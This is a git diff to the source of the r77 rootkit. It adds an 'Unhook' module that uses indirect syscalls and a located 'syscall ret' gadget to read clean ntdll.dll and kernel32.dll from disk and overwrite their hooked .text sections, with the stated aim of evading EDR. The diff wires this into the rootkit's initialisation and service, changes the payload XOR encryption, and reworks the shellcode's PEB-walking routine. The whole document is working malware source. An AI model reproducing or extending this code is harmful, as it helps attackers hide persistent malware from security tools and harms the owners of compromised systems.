diff --git a/BuildTask/BuildTask.cs b/BuildTask/BuildTask.cs
index 914a8f8..6da5cc7 100644
--- a/BuildTask/BuildTask.cs
+++ b/BuildTask/BuildTask.cs
@@ -61,17 +61,19 @@ private static byte[] Compress(byte[] data)
}
private static byte[] Encrypt(byte[] data)
{
- // Only a trivial encryption algorithm is used.
- // This improves the stability of the fileless startup, because less .NET classes are imported that may not be present on the target computer.
+ // A trivial encryption algorithm is sufficient and requires no .NET classes to be imported.
byte[] encrypted = new byte[data.Length + 4];
- RandomNumberGenerator.Create().GetBytes(encrypted, 0, 4);
+ using (RandomNumberGenerator random = RandomNumberGenerator.Create())
+ {
+ random.GetBytes(encrypted, 0, 4);
+ }
int key = BitConverter.ToInt32(encrypted, 0);
for (int i = 0; i < data.Length; i++)
{
- encrypted[i + 4] = (byte)(data[i] ^ (byte)key);
+ encrypted[i + 4] = (byte)(data[i] ^ key);
key = key << 1 | key >> (32 - 1);
}
diff --git a/Helper32/Helper32.vcxproj b/Helper32/Helper32.vcxproj
index fab5ebe..77afb2b 100644
--- a/Helper32/Helper32.vcxproj
+++ b/Helper32/Helper32.vcxproj
@@ -58,6 +58,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
DllMain
+ false
mkdir "$(SolutionDir)$Build"
diff --git a/Helper64/Helper64.vcxproj b/Helper64/Helper64.vcxproj
index 47d3940..c8ee9f8 100644
--- a/Helper64/Helper64.vcxproj
+++ b/Helper64/Helper64.vcxproj
@@ -58,6 +58,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
DllMain
+ false
mkdir "$(SolutionDir)$Build"
diff --git a/Install/Install.vcxproj b/Install/Install.vcxproj
index 4990661..8202bc3 100644
--- a/Install/Install.vcxproj
+++ b/Install/Install.vcxproj
@@ -68,6 +68,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
@@ -103,6 +104,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
diff --git a/InstallShellcode/PebApi.asm b/InstallShellcode/PebApi.asm
index f5aa4c2..edac7a4 100644
--- a/InstallShellcode/PebApi.asm
+++ b/InstallShellcode/PebApi.asm
@@ -1,16 +1,11 @@
-proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
+proc PebGetModuleHandle ModuleHash:DWORD
local FirstEntry:DWORD
local CurrentEntry:DWORD
- local ModuleBase:DWORD
- local ExportDirectory:DWORD
- local NameDirectory:DWORD
- local NameOrdinalDirectory:DWORD
- local FunctionCounter:DWORD
; Get InMemoryOrderModuleList from PEB
mov eax, 3
shl eax, 4
- mov eax, [fs:eax] ; fs:0x30
+ mov eax, [fs:eax] ; obfuscated fs:0x30
mov eax, [eax + PEB.Ldr]
mov eax, [eax + PEB_LDR_DATA.InMemoryOrderModuleList.Flink]
mov [FirstEntry], eax
@@ -30,12 +25,12 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
cld
.L_module_hash:
lodsb
- ror edx, 13
- add edx, eax
cmp al, 'a'
jl @f
- sub edx, 0x20 ; Convert lower case letters to upper case
-@@: dec ecx
+ and eax, 0xdf ; Convert lower case letters to upper case
+@@: ror edx, 13
+ add edx, eax
+ dec ecx
test ecx, ecx
jnz .L_module_hash
@@ -43,9 +38,35 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
cmp edx, [ModuleHash]
jne .C_module
- ; Get module base
+ ; Return module base
mov eax, [CurrentEntry]
mov eax, [eax + LDR_DATA_TABLE_ENTRY.DllBase]
+ ret
+
+.C_module:
+ ; Move to next module, exit loop if CurrentEntry == FirstEntry
+ mov eax, [CurrentEntry]
+ mov eax, [eax + LIST_ENTRY.Flink]
+ mov [CurrentEntry], eax
+ cmp eax, [FirstEntry]
+ jne .L_module
+
+ ; Module not found
+ xor eax, eax
+ ret
+endp
+
+proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
+ local ModuleBase:DWORD
+ local ExportDirectory:DWORD
+ local NameDirectory:DWORD
+ local NameOrdinalDirectory:DWORD
+ local FunctionCounter:DWORD
+
+ ; Get module
+ stdcall PebGetModuleHandle, [ModuleHash]
+ test eax, eax
+ jz .E_functions
mov [ModuleBase], eax
; Get export directory
@@ -116,16 +137,4 @@ proc PebGetProcAddress ModuleHash:DWORD, FunctionHash:DWORD
; Function not found in module's export table
xor eax, eax
ret
-
-.C_module:
- ; Move to next module, exit loop if CurrentEntry == FirstEntry
- mov eax, [CurrentEntry]
- mov eax, [eax + LIST_ENTRY.Flink]
- mov [CurrentEntry], eax
- cmp eax, [FirstEntry]
- jne .L_module
-
- ; Module not found
- xor eax, eax
- ret
endp
\ No newline at end of file
diff --git a/Service/Service.c b/Service/Service.c
index 3c4edd4..4d5b181 100644
--- a/Service/Service.c
+++ b/Service/Service.c
@@ -1,4 +1,5 @@
#include "Service.h"
+#include "Unhook.h"
#include "r77def.h"
#include "r77win.h"
#include "r77config.h"
@@ -10,11 +11,7 @@
int main()
{
// Unhook DLL's that are monitored by EDR.
- UnhookDll(L"ntdll.dll");
- if (BITNESS(64) || IsAtLeastWindows10()) // Unhooking kernel32.dll does not work on Windows 7 x86.
- {
- UnhookDll(L"kernel32.dll");
- }
+ Unhook();
EnabledDebugPrivilege();
diff --git a/Service/Service.vcxitems b/Service/Service.vcxitems
index 94dd87c..f6ce81b 100644
--- a/Service/Service.vcxitems
+++ b/Service/Service.vcxitems
@@ -5,6 +5,9 @@
true
{46e171d4-1811-48be-8867-a63c28761d28}
+
+
+
%(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
@@ -23,4 +26,7 @@
+
+
+
\ No newline at end of file
diff --git a/Service32/Service32.vcxproj b/Service32/Service32.vcxproj
index 96c466f..5f96efc 100644
--- a/Service32/Service32.vcxproj
+++ b/Service32/Service32.vcxproj
@@ -33,10 +33,12 @@
+
+
@@ -70,6 +72,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
@@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
@@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+
+
+
+ Document
+
+
\ No newline at end of file
diff --git a/Service64/Service64.vcxproj b/Service64/Service64.vcxproj
index b167d42..dbb91e9 100644
--- a/Service64/Service64.vcxproj
+++ b/Service64/Service64.vcxproj
@@ -33,10 +33,12 @@
+
+
@@ -70,6 +72,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
@@ -99,6 +102,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
true
EntryPoint
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
@@ -108,5 +112,11 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+
+
+
+ Document
+
+
\ No newline at end of file
diff --git a/Stager/Stager.cs b/Stager/Stager.cs
index 9956417..05dc533 100644
--- a/Stager/Stager.cs
+++ b/Stager/Stager.cs
@@ -73,7 +73,7 @@ private static byte[] Decrypt(byte[] data)
for (int i = 0; i < decrypted.Length; i++)
{
- decrypted[i] = (byte)(data[i + 4] ^ (byte)key);
+ decrypted[i] = (byte)(data[i + 4] ^ key);
key = key << 1 | key >> (32 - 1);
}
diff --git a/Unhook/Syscalls.asm b/Unhook/Syscalls.asm
new file mode 100644
index 0000000..1cbd19f
--- /dev/null
+++ b/Unhook/Syscalls.asm
@@ -0,0 +1,69 @@
+IFNDEF rax
+ .model flat
+ENDIF
+
+IFDEF rax
+
+.data
+
+extern SyscallGadget:QWORD
+extern NtCreateFileSyscallNumber:DWORD
+extern NtQueryInformationFileSyscallNumber:DWORD
+extern NtReadFileSyscallNumber:DWORD
+extern NtProtectVirtualMemorySyscallNumber:DWORD
+
+.code
+
+SyscallNtCreateFile proc
+ mov r10, rcx
+ mov eax, NtCreateFileSyscallNumber
+ jmp SyscallGadget
+SyscallNtCreateFile endp
+
+SyscallNtQueryInformationFile proc
+ mov r10, rcx
+ mov eax, NtQueryInformationFileSyscallNumber
+ jmp SyscallGadget
+SyscallNtQueryInformationFile endp
+
+SyscallNtReadFile proc
+ mov r10, rcx
+ mov eax, NtReadFileSyscallNumber
+ jmp SyscallGadget
+SyscallNtReadFile endp
+
+SyscallNtProtectVirtualMemory proc
+ mov r10, rcx
+ mov eax, NtProtectVirtualMemorySyscallNumber
+ jmp SyscallGadget
+SyscallNtProtectVirtualMemory endp
+
+ELSE
+
+; For now, unhooking works on 64-bit Windows only.
+
+.code
+
+_SyscallNtCreateFile proc
+ mov eax, -1
+ ret
+_SyscallNtCreateFile endp
+
+_SyscallNtQueryInformationFile proc
+ mov eax, -1
+ ret
+_SyscallNtQueryInformationFile endp
+
+_SyscallNtReadFile proc
+ mov eax, -1
+ ret
+_SyscallNtReadFile endp
+
+_SyscallNtProtectVirtualMemory proc
+ mov eax, -1
+ ret
+_SyscallNtProtectVirtualMemory endp
+
+ENDIF
+
+end
\ No newline at end of file
diff --git a/Unhook/Syscalls.h b/Unhook/Syscalls.h
new file mode 100644
index 0000000..197d0b5
--- /dev/null
+++ b/Unhook/Syscalls.h
@@ -0,0 +1,16 @@
+#include "r77mindef.h"
+#ifndef _SYSCALLS_H
+#define _SYSCALLS_H
+
+LPVOID SyscallGadget;
+DWORD NtCreateFileSyscallNumber;
+DWORD NtQueryInformationFileSyscallNumber;
+DWORD NtReadFileSyscallNumber;
+DWORD NtProtectVirtualMemorySyscallNumber;
+
+extern NTSTATUS SyscallNtCreateFile(LPHANDLE fileHandle, ACCESS_MASK desiredAccess, POBJECT_ATTRIBUTES objectAttributes, PIO_STATUS_BLOCK ioStatusBlock, PLARGE_INTEGER allocationSize, ULONG fileAttributes, ULONG shareAccess, ULONG createDisposition, ULONG createOptions, LPVOID eaBuffer, ULONG eaLength);
+extern NTSTATUS SyscallNtQueryInformationFile(HANDLE fileHandle, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass);
+extern NTSTATUS SyscallNtReadFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID buffer, ULONG length, PLARGE_INTEGER byteOffset, PULONG key);
+extern NTSTATUS SyscallNtProtectVirtualMemory(HANDLE processHandle, LPVOID *baseAddress, PSIZE_T numberOfBytesToProtect, ULONGLONG newAccessProtection, PULONGLONG oldAccessProtection);
+
+#endif
\ No newline at end of file
diff --git a/Unhook/Unhook.c b/Unhook/Unhook.c
new file mode 100644
index 0000000..a4ed3b8
--- /dev/null
+++ b/Unhook/Unhook.c
@@ -0,0 +1,213 @@
+#include "Unhook.h"
+#include "Syscalls.h"
+#include "ntdll.h"
+#include "peb.h"
+#include
+
+// For now, unhooking works on 64-bit Windows only.
+// We will not go down the WoW64 rabbit hole, because 32-bit Windows is a minority.
+
+VOID Unhook()
+{
+ if (IsAtLeastWindows10()) // Windows 7 is currently not supported.
+ {
+ if (InitializeSyscalls()) // Retrieve gadgets and syscall numbers.
+ {
+ if (UnhookDll(L"ntdll.dll", 0x3cfa685d))
+ {
+ UnhookDll(L"kernel32.dll", 0x6a4abc5b);
+ }
+ }
+ }
+}
+
+static BOOL InitializeSyscalls()
+{
+#ifdef _WIN64
+ SyscallGadget = GetSyscallGadget();
+ if (!SyscallGadget) return FALSE;
+
+ NtCreateFileSyscallNumber = GetSyscallNumber("NtCreateFile");
+ if (NtCreateFileSyscallNumber == -1) return FALSE;
+
+ NtQueryInformationFileSyscallNumber = GetSyscallNumber("NtQueryInformationFile");
+ if (NtQueryInformationFileSyscallNumber == -1) return FALSE;
+
+ NtReadFileSyscallNumber = GetSyscallNumber("NtReadFile");
+ if (NtReadFileSyscallNumber == -1) return FALSE;
+
+ NtProtectVirtualMemorySyscallNumber = GetSyscallNumber("NtProtectVirtualMemory");
+ if (NtProtectVirtualMemorySyscallNumber == -1) return FALSE;
+
+ return TRUE;
+#else
+ return FALSE;
+#endif
+}
+static BOOL UnhookDll(LPCWSTR moduleName, DWORD moduleHash)
+{
+ BOOL result = FALSE;
+
+#ifdef _WIN64
+ WCHAR path[MAX_PATH + 1];
+ StrCpyW(path, L"C:\\Windows\\System32\\");
+ StrCatW(path, moduleName);
+
+ // Get currently loaded DLL, which is hooked by EDR.
+ LPVOID dll = PebGetModuleHandle(moduleHash);
+ if (dll)
+ {
+ // Get original DLL file from disk and read file using syscalls.
+ LPBYTE originalDll;
+ if (SyscallReadFileContent(path, &originalDll, NULL) && ((PIMAGE_DOS_HEADER)originalDll)->e_magic == IMAGE_DOS_SIGNATURE)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)originalDll + ((PIMAGE_DOS_HEADER)originalDll)->e_lfanew);
+
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + i * IMAGE_SIZEOF_SECTION_HEADER);
+
+ // Find the .text section of the hooked DLL and overwrite it with the original DLL section
+ if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
+ {
+ LPVOID virtualAddress = (LPVOID)((ULONG_PTR)dll + (ULONG_PTR)sectionHeader->VirtualAddress);
+ SIZE_T virtualSize = sectionHeader->SizeOfRawData;
+
+ ULONGLONG oldProtect;
+ if (NT_SUCCESS(SyscallNtProtectVirtualMemory((HANDLE)-1, &virtualAddress, &virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect)))
+ {
+ i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)originalDll + (ULONG_PTR)sectionHeader->PointerToRawData), sectionHeader->SizeOfRawData);
+ SyscallNtProtectVirtualMemory((HANDLE)-1, &virtualAddress, &virtualSize, oldProtect, &oldProtect);
+
+ result = TRUE;
+ }
+
+ break;
+ }
+ }
+
+ FREE(originalDll);
+ }
+ }
+#endif
+
+ return result;
+}
+
+static LPVOID GetSyscallGadget()
+{
+#ifdef _WIN64
+ LPVOID dllBase = PebGetModuleHandle(0x3cfa685d);
+ if (dllBase)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
+
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
+
+ if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text"))
+ {
+ LPBYTE virtualAddress = (LPBYTE)((ULONG_PTR)dllBase + (ULONG_PTR)sectionHeader->VirtualAddress);
+ DWORD virtualSize = sectionHeader->Misc.VirtualSize;
+
+ for (LPBYTE ptr = virtualAddress; ptr < virtualAddress + virtualSize - 4; ptr++)
+ {
+ if ((*(LPDWORD)ptr & 0xffffff) == 0xc3050f) // syscall ret
+ {
+ return ptr;
+ }
+ }
+ }
+ }
+ }
+#endif
+
+ return NULL;
+}
+static DWORD GetSyscallNumber(PCHAR functionName)
+{
+#ifdef _WIN64
+ LPBYTE dllBase = (LPBYTE)PebGetModuleHandle(0x3cfa685d);
+ if (dllBase)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
+ PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+ PNT_IMAGE_RUNTIME_FUNCTION_ENTRY exceptionDirectory = (PNT_IMAGE_RUNTIME_FUNCTION_ENTRY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
+
+ PDWORD addressTable = (PDWORD)(dllBase + exportDirectory->AddressOfFunctions);
+ PDWORD nameTable = (PDWORD)(dllBase + exportDirectory->AddressOfNames);
+ PWORD ordinalTable = (PWORD)(dllBase + exportDirectory->AddressOfNameOrdinals);
+
+ DWORD syscallNumber = 0;
+
+ for (DWORD i = 0; exceptionDirectory[i].BeginAddress; i++)
+ {
+ for (DWORD j = 0; j < exportDirectory->NumberOfFunctions; j++)
+ {
+ if (addressTable[ordinalTable[j]] == exceptionDirectory[i].BeginAddress)
+ {
+ if (!StrCmpA((PCHAR)(dllBase + nameTable[j]), functionName))
+ {
+ return syscallNumber;
+ }
+ else if (*(USHORT*)(dllBase + nameTable[j]) == 'wZ')
+ {
+ syscallNumber++;
+ }
+ }
+ }
+ }
+ }
+#endif
+
+ return -1;
+}
+static BOOL SyscallReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size)
+{
+ BOOL result = FALSE;
+
+ WCHAR fullPath[MAX_PATH + 1];
+ StrCpyW(fullPath, L"\\??\\");
+ StrCatW(fullPath, path);
+
+ UNICODE_STRING fullPathString;
+ RtlInitUnicodeString(&fullPathString, fullPath);
+
+ OBJECT_ATTRIBUTES objAttribs;
+ i_memset(&objAttribs, 0, sizeof(OBJECT_ATTRIBUTES));
+ InitializeObjectAttributes(&objAttribs, &fullPathString, OBJ_CASE_INSENSITIVE, NULL, NULL);
+
+ IO_STATUS_BLOCK ioStatusBlock;
+ i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK));
+
+ HANDLE file;
+ if (NT_SUCCESS(SyscallNtCreateFile(&file, GENERIC_READ | SYNCHRONIZE, &objAttribs, &ioStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0)))
+ {
+ NT_FILE_STANDARD_INFORMATION fileInfo;
+ i_memset(&fileInfo, 0, sizeof(NT_FILE_STANDARD_INFORMATION));
+
+ i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK));
+ if (NT_SUCCESS(SyscallNtQueryInformationFile(file, &ioStatusBlock, &fileInfo, sizeof(fileInfo), FileStandardInformation)))
+ {
+ LPBYTE fileData = NEW_ARRAY(BYTE, fileInfo.EndOfFile.QuadPart);
+
+ LARGE_INTEGER byteOffset;
+ byteOffset.QuadPart = 0;
+
+ i_memset(&ioStatusBlock, 0, sizeof(IO_STATUS_BLOCK));
+ if (SyscallNtReadFile(file, NULL, NULL, NULL, &ioStatusBlock, fileData, fileInfo.EndOfFile.QuadPart, &byteOffset, NULL) == ERROR_SUCCESS)
+ {
+ *data = fileData;
+ if (size) *size = fileInfo.EndOfFile.QuadPart;
+ result = TRUE;
+ }
+ else
+ {
+ FREE(fileData);
+ }
+ }
+ }
+
+ return result;
+}
\ No newline at end of file
diff --git a/Unhook/Unhook.h b/Unhook/Unhook.h
new file mode 100644
index 0000000..11da6aa
--- /dev/null
+++ b/Unhook/Unhook.h
@@ -0,0 +1,58 @@
+#include "r77mindef.h"
+#ifndef _UNHOOK_H
+#define _UNHOOK_H
+
+///
+/// Unhooks all relevant DLLs that may be hooked by EDR.
+///
+VOID Unhook();
+
+///
+/// Initializes the indirect syscall function library by retrieving the necessary gadgets and syscall numbers.
+///
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+static BOOL InitializeSyscalls();
+///
+/// Unhooks a DLL by replacing the .text section with the original DLL section by using indirect syscalls.
+///
+/// The name of the DLL to unhook.
+/// The hash of the module name.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+static BOOL UnhookDll(LPCWSTR moduleName, DWORD moduleHash);
+
+///
+/// Retrieves a pointer to a location in memory containing a syscall instruction, followed by a ret.
+///
+///
+/// A pointer to the existing gadget, or NULL, if no gadget was found.
+///
+static LPVOID GetSyscallGadget();
+///
+/// Retrieves the syscall number for a given function name.
+/// This works, even if the ntdll is hooked by EDR and the "mov eax" instruction was destroyed.
+///
+/// The name of the function to search.
+///
+/// The equivalent syscall number, or -1, if the syscall number could not be determined.
+///
+static DWORD GetSyscallNumber(PCHAR functionName);
+///
+/// Reads a file from disk by using indirect syscalls.
+/// This function cannot be detected by EDR hooks on ntdll.
+///
+/// The path to the file to read.
+/// A pointer that is set to a newly allocated buffer with the file contents.
+/// A pointer to a DWORD value to write the size of the returned buffer to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+static BOOL SyscallReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size);
+
+#endif
\ No newline at end of file
diff --git a/Unhook/Unhook.vcxitems b/Unhook/Unhook.vcxitems
new file mode 100644
index 0000000..3661caa
--- /dev/null
+++ b/Unhook/Unhook.vcxitems
@@ -0,0 +1,32 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {631adcf8-7809-4c45-b29a-30ecf33592d6}
+
+
+
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Uninstall/Uninstall.vcxproj b/Uninstall/Uninstall.vcxproj
index 6b6fc0a..c68ceca 100644
--- a/Uninstall/Uninstall.vcxproj
+++ b/Uninstall/Uninstall.vcxproj
@@ -68,6 +68,7 @@
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
EntryPoint
true
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
@@ -98,6 +99,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
EntryPoint
true
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
diff --git a/Uninstall64/Uninstall64.vcxproj b/Uninstall64/Uninstall64.vcxproj
index ce7e55f..411cce8 100644
--- a/Uninstall64/Uninstall64.vcxproj
+++ b/Uninstall64/Uninstall64.vcxproj
@@ -72,6 +72,7 @@
true
EntryPoint
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
@@ -100,6 +101,7 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)Uninstall\Resources"
true
EntryPoint
ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ false
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
diff --git a/r77-x64/r77-x64.vcxproj b/r77-x64/r77-x64.vcxproj
index c15a1e7..965a6e2 100644
--- a/r77-x64/r77-x64.vcxproj
+++ b/r77-x64/r77-x64.vcxproj
@@ -23,10 +23,12 @@
+
+
@@ -56,6 +58,7 @@
true
false
ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x64\detours.lib;%(AdditionalDependencies)
+ false
mkdir "$(SolutionDir)$Build"
@@ -66,5 +69,6 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName)
+
\ No newline at end of file
diff --git a/r77-x86/r77-x86.vcxproj b/r77-x86/r77-x86.vcxproj
index 9867c39..d4d8f80 100644
--- a/r77-x86/r77-x86.vcxproj
+++ b/r77-x86/r77-x86.vcxproj
@@ -23,10 +23,12 @@
+
+
@@ -56,6 +58,7 @@
true
false
ntdll.lib;shlwapi.lib;taskschd.lib;..\SlnBin\x86\detours.lib;%(AdditionalDependencies)
+ false
mkdir "$(SolutionDir)$Build"
@@ -66,5 +69,6 @@ echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources\$(TargetName)
+
\ No newline at end of file
diff --git a/r77.sln b/r77.sln
index ab4fe04..9f4744d 100644
--- a/r77.sln
+++ b/r77.sln
@@ -88,6 +88,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Service64", "Service64\Serv
{AFB848D0-68F8-42D1-A1C8-99DFBE034FCF} = {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}
EndProjectSection
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Unhook", "Unhook\Unhook.vcxitems", "{631ADCF8-7809-4C45-B29A-30ECF33592D6}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -168,6 +170,7 @@ Global
{46E171D4-1811-48BE-8867-A63C28761D28} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
{7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
{E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {631ADCF8-7809-4C45-B29A-30ECF33592D6} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1}
@@ -176,21 +179,26 @@ Global
r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4
r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
+ Unhook\Unhook.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
+ Unhook\Unhook.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9
r77api\r77api.vcxitems*{525fd9eb-628a-4d93-b320-3c1dfa0a216d}*SharedItemsImports = 9
+ Unhook\Unhook.vcxitems*{631adcf8-7809-4c45-b29a-30ecf33592d6}*SharedItemsImports = 9
r77\r77.vcxitems*{6e4bb100-c3c9-4cf7-a637-08c2482c6b94}*SharedItemsImports = 9
r77api\r77api.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4
Service\Service.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4
+ Unhook\Unhook.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4
Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4
InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9
r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
+ Unhook\Unhook.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
Helper\Helper.vcxitems*{e6543f7a-4e58-4c55-975e-ed975481ebe8}*SharedItemsImports = 9
r77api\r77api.vcxitems*{f0005d08-6278-4bfe-b492-f86ccec797d5}*SharedItemsImports = 4
EndGlobalSection
diff --git a/r77/Rootkit.c b/r77/Rootkit.c
index bf83f94..9c27efd 100644
--- a/r77/Rootkit.c
+++ b/r77/Rootkit.c
@@ -2,12 +2,16 @@
#include "Hooks.h"
#include "Config.h"
#include "r77def.h"
+#include "Unhook.h"
#include
static BOOL RootkitInitialized;
BOOL InitializeRootkit()
{
+ // Unhook DLL's that are monitored by EDR.
+ Unhook();
+
// If the process starts with $77, do not load r77.
WCHAR executablePath[MAX_PATH + 1];
